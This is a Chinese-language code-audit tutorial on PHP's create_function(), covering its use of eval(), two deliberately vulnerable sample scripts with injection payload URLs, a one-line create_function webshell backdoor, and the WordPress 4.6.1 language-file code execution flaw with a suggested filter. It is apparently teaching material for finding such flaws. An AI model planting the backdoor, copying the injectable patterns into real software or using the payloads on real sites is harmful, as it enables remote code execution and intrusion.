0x00 create_function()簡介
適用范圍:PHP 4> = 4.0.1
,PHP 5
,PHP 7
功能:根據傳遞的參數創建匿名函數,並為其返回唯一名稱。
語法:
create_function(string $args,string $code) string $args 聲明的函數變量部分 string $code 執行的方法代碼部分
0x01 環境搭建
本次測試在Windows
下用PHPstudy
搭建環境,使用的是:PHP 5.4.45
+ MySQL 5.5
+ Apache
0x02 函數功能分析
官方案例:
<?php $newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);'); echo "New anonymous function: $newfunc\n"; echo $newfunc(2, M_E) . "\n"; ?>
保存為func.php
,訪問如下:
分析:
create_function()
會創建一個匿名函數(lambda
樣式)。此處創建了一個叫lambda_1
的函數,在第一個echo
中顯示出名字,並在第二個echo
語句中執行了此函數。
create_function()函數會在內部執行 eval(),我們發現是執行了后面的return
語句,屬於create_function()
中的第二個參數string $code
位置。
因此,上述匿名函數的創建與執行過程等價於:
<?php function lambda_1($a,$b){ return "ln($a) + ln($b) = " . log($a * $b); } ?>
create_function()
函數在代碼審計中,主要用來查找項目中的代碼注入和回調后門的情況,熟悉了執行流程,我們可以熟練的實現對代碼注入的payload
構造,從而進行漏洞挖掘和找出存在的缺陷。
0x03 實現代碼注入的案例
案例 1
1.php
<?php error_reporting(0); $sort_by = $_GET['sort_by']; $sorter = 'strnatcasecmp'; $databases=array('1234','4321'); $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);'; usort($databases, create_function('$a, $b', $sort_function)); ?>
payload
的構造:
http://localhost/test/1.php?sort_by='"]);}phpinfo();/*
還原實際的組合過程:
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*
匿名函數實際的執行:
function niming($a,$b){ return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/* }
回車換行整理一下:
function niming($a,$b){ return 1 * ' . $sorter . '($a["' . $sort_by '"]); } phpinfo();/* }
案例 2
2.php
<?php $c=$_GET['c']; $lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen($c));"); $array=array('reall long string here,boy','this','midding lenth','larget'); usort($array,$lambda); print_r($array); ?>
payload
的構造:
http://localhost/test/2.php?c=1));}phpinfo();/*
還原實際的組合過程:
$lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));");
匿名函數實際的執行:
function ft($a,$b){ return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*)); }
回車換行整理一下:
function ft($a,$b){ return (strlen($a)-strlen($b)+" . "strlen(1)); } phpinfo(); /*)); }
0x04 實現后門的打造
houmen.php
<?php $func =create_function('',$_POST['cmd']);$func();?>
create_function()
是可以利用當后門的函數,實際上它是通過執行eval
實現(此處相當於一句話木馬),訪問如下:
0x05 代碼審計實戰中的案例
WordPress <= 4.6.1 使用語言文件任意代碼執行漏洞
接下來我們看這個版本的WordPress
中,一處用到create_function
的地方,在wp-includes/pomo/translations.php
第203-209
行:
/** * Makes a function, which will return the right translation index, according to the * plural forms header * @param int $nplurals * @param string $expression */ function make_plural_form_function($nplurals, $expression) { $expression = str_replace('n', '$n', $expression); $func_body = " \$index = (int)($expression); return (\$index < $nplurals)? \$index : $nplurals - 1;"; return create_function('$n', $func_body); }
我們看一下正常的字體文件zh_CN.mo
,其中有這么一段:
Plural-Froms
這個header
就是上面的函數所需要處理的,其中nplurals
的值即為$nplurals
的值,而plural
的值正是我們需要的$expression
的值。所以我們將字體文件進行如下改動:
我們payload
中的)
首先閉合了前面的(
,然后;
結束前面的語句,接着是我們的一句話木馬,然后用/*
將后面不必要的部分注釋掉,通過這樣,我們就將payload
完整的傳入了create_function
,在其創建函數時我們的payload
就會被執行,由於訪問每個文件時都要用這個對字體文件解析的結果對文件進行翻譯,所以我們訪問任何文件都可以觸發這個payload
:
修復方案:
在官方發布補丁前建議管理員增強安全意識,不要使用來路不明的字體文件、插件、主題等等。
對於開發者來說,建議對$expression
中的特殊符號進行過濾,例如:
$not_allowed = array(";", ")", "}"); $experssion = str_replace($not_allowed, "", $expression);
0x06 create_function()被高版本 PHP 廢棄
從PHP 7.2.0
開始,create_function()
被廢棄